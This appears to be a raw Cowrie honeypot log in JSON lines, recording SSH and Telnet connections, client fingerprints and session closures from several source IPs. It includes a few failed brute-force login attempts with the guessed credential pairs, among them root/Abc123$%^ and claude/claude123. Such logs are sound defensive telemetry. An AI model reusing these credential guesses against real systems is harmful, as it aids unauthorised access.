{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:19.578629Z","src_ip":"194.59.206.2","session":"3cde908ce551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:19.674111Z","src_ip":"194.59.206.2","session":"3cde908ce551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.059592723846436,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:19.948206Z","src_ip":"192.119.13.58","session":"e5a3ceac79a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37474,"dst_ip":"10.17.0.5","dst_port":23,"session":"a05843bcb269","protocol":"telnet","message":"New connection: 192.119.13.58:37474 (10.17.0.5:23) [session: a05843bcb269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:20.390737Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37688,"dst_ip":"10.17.0.5","dst_port":23,"session":"07608f0ca741","protocol":"telnet","message":"New connection: 192.119.13.58:37688 (10.17.0.5:23) [session: 07608f0ca741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:20.463819Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38274,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e5b911340e7","protocol":"telnet","message":"New connection: 192.119.13.58:38274 (10.17.0.5:23) [session: 2e5b911340e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:20.650189Z"}
{"eventid":"cowrie.session.closed","duration":34.00343155860901,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:21.565731Z","src_ip":"192.119.13.58","session":"db38564abea1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.12142992019653,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:27.937651Z","src_ip":"192.119.13.58","session":"484d9121d25a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":39430,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a5f43072c71","protocol":"ssh","message":"New connection: 122.51.73.24:39430 (10.17.0.5:22) [session: 6a5f43072c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:29.008121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:29.013123Z","src_ip":"122.51.73.24","session":"6a5f43072c71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.68564987182617,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:29.776529Z","src_ip":"192.119.13.58","session":"8ac280a6d0e0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:30.106235Z","src_ip":"122.51.73.24","session":"6a5f43072c71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123$%^","message":"login attempt [root/Abc123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:30.828822Z","src_ip":"122.51.73.24","session":"6a5f43072c71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:32.070814Z","src_ip":"122.51.73.24","session":"6a5f43072c71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33816,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc9e13e12649","protocol":"telnet","message":"New connection: 192.119.13.58:33816 (10.17.0.5:23) [session: fc9e13e12649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:34.022999Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40060,"dst_ip":"10.17.0.5","dst_port":23,"session":"44981beecc9e","protocol":"telnet","message":"New connection: 192.119.13.58:40060 (10.17.0.5:23) [session: 44981beecc9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:36.393237Z"}
{"eventid":"cowrie.session.closed","duration":39.21955370903015,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:38.451616Z","src_ip":"192.119.13.58","session":"d0619a60f711","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.16242980957031,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:40.167004Z","src_ip":"192.119.13.58","session":"3f64905d7c00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41008,"dst_ip":"10.17.0.5","dst_port":23,"session":"051684a2d64a","protocol":"telnet","message":"New connection: 192.119.13.58:41008 (10.17.0.5:23) [session: 051684a2d64a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:43.875452Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49008,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3ec806a9342","protocol":"telnet","message":"New connection: 192.119.13.58:49008 (10.17.0.5:23) [session: a3ec806a9342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:45.820452Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51552,"dst_ip":"10.17.0.5","dst_port":23,"session":"2373d75b8585","protocol":"telnet","message":"New connection: 192.119.13.58:51552 (10.17.0.5:23) [session: 2373d75b8585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:46.559436Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38130,"dst_ip":"10.17.0.5","dst_port":23,"session":"88b166c13111","protocol":"telnet","message":"New connection: 192.119.13.58:38130 (10.17.0.5:23) [session: 88b166c13111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:50.257959Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41844,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7b25695acf5","protocol":"telnet","message":"New connection: 192.119.13.58:41844 (10.17.0.5:23) [session: a7b25695acf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:51.060719Z"}
{"eventid":"cowrie.session.closed","duration":36.73537063598633,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:51.549244Z","src_ip":"192.119.13.58","session":"cbc4fefe048e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.1927170753479,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:55.111458Z","src_ip":"192.119.13.58","session":"477f13534ccb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38118,"dst_ip":"10.17.0.5","dst_port":23,"session":"13ca91c7e91d","protocol":"telnet","message":"New connection: 192.119.13.58:38118 (10.17.0.5:23) [session: 13ca91c7e91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:56.140649Z"}
{"eventid":"cowrie.session.closed","duration":36.2300329208374,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:56.693732Z","src_ip":"192.119.13.58","session":"07608f0ca741","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":42912,"dst_ip":"159.203.135.109","dst_port":22,"session":"708d9bb09451","protocol":"ssh","message":"New connection: 37.233.85.71:42912 (159.203.135.109:22) [session: 708d9bb09451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:57.434815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:57.439827Z","src_ip":"37.233.85.71","session":"708d9bb09451","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:57.541789Z","src_ip":"37.233.85.71","session":"708d9bb09451","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678z","message":"login attempt [root/12345678z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:57.842786Z","src_ip":"37.233.85.71","session":"708d9bb09451","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:58.945323Z","src_ip":"37.233.85.71","session":"708d9bb09451","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.261152267456055,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:00.886626Z","src_ip":"192.119.13.58","session":"9b0e600427ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57314,"dst_ip":"10.17.0.5","dst_port":23,"session":"49e1d9365eb4","protocol":"telnet","message":"New connection: 192.119.13.58:57314 (10.17.0.5:23) [session: 49e1d9365eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:00.963405Z"}
{"eventid":"cowrie.session.closed","duration":45.33860111236572,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:05.988708Z","src_ip":"192.119.13.58","session":"2e5b911340e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.93025016784668,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:06.953116Z","src_ip":"192.119.13.58","session":"fc9e13e12649","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.56226062774658,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:12.955360Z","src_ip":"192.119.13.58","session":"44981beecc9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.105557680130005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:17.664886Z","src_ip":"192.119.13.58","session":"2373d75b8585","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.00318360328674,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:18.393810Z","src_ip":"192.119.13.58","session":"a05843bcb269","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49296,"dst_ip":"10.17.0.5","dst_port":23,"session":"04ce1aaade05","protocol":"telnet","message":"New connection: 192.119.13.58:49296 (10.17.0.5:23) [session: 04ce1aaade05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:19.324664Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47402,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c074158fb37","protocol":"telnet","message":"New connection: 192.119.13.58:47402 (10.17.0.5:23) [session: 4c074158fb37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:24.997674Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":60592,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e8bf4a85911","protocol":"ssh","message":"New connection: 175.118.127.138:60592 (10.17.0.5:22) [session: 2e8bf4a85911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:25.293367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:25.298281Z","src_ip":"175.118.127.138","session":"2e8bf4a85911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:25.479205Z","src_ip":"175.118.127.138","session":"2e8bf4a85911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"spider","password":"spider","message":"login attempt [spider/spider] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:26.234766Z","src_ip":"175.118.127.138","session":"2e8bf4a85911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54838,"dst_ip":"10.17.0.5","dst_port":23,"session":"760618bf3412","protocol":"telnet","message":"New connection: 192.119.13.58:54838 (10.17.0.5:23) [session: 760618bf3412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:26.349687Z"}
{"eventid":"cowrie.session.closed","duration":43.16331934928894,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:27.038642Z","src_ip":"192.119.13.58","session":"051684a2d64a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:27.422755Z","src_ip":"175.118.127.138","session":"2e8bf4a85911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":52908,"dst_ip":"10.17.0.5","dst_port":22,"session":"a778299c1f87","protocol":"ssh","message":"New connection: 122.51.73.24:52908 (10.17.0.5:22) [session: a778299c1f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:27.641778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:27.647039Z","src_ip":"122.51.73.24","session":"a778299c1f87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:27.891387Z","src_ip":"122.51.73.24","session":"a778299c1f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.89083433151245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:28.031364Z","src_ip":"192.119.13.58","session":"13ca91c7e91d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:28.896822Z","src_ip":"122.51.73.24","session":"a778299c1f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:30.601239Z","src_ip":"122.51.73.24","session":"a778299c1f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.825037240982056,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:33.885610Z","src_ip":"192.119.13.58","session":"a7b25695acf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.039910554885864,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:34.003180Z","src_ip":"192.119.13.58","session":"49e1d9365eb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.84111547470093,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:36.098961Z","src_ip":"192.119.13.58","session":"88b166c13111","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39754,"dst_ip":"10.17.0.5","dst_port":23,"session":"6575844f4e7d","protocol":"telnet","message":"New connection: 192.119.13.58:39754 (10.17.0.5:23) [session: 6575844f4e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:37.650590Z"}
{"eventid":"cowrie.session.closed","duration":56.91679883003235,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:42.737112Z","src_ip":"192.119.13.58","session":"a3ec806a9342","protocol":"telnet"}
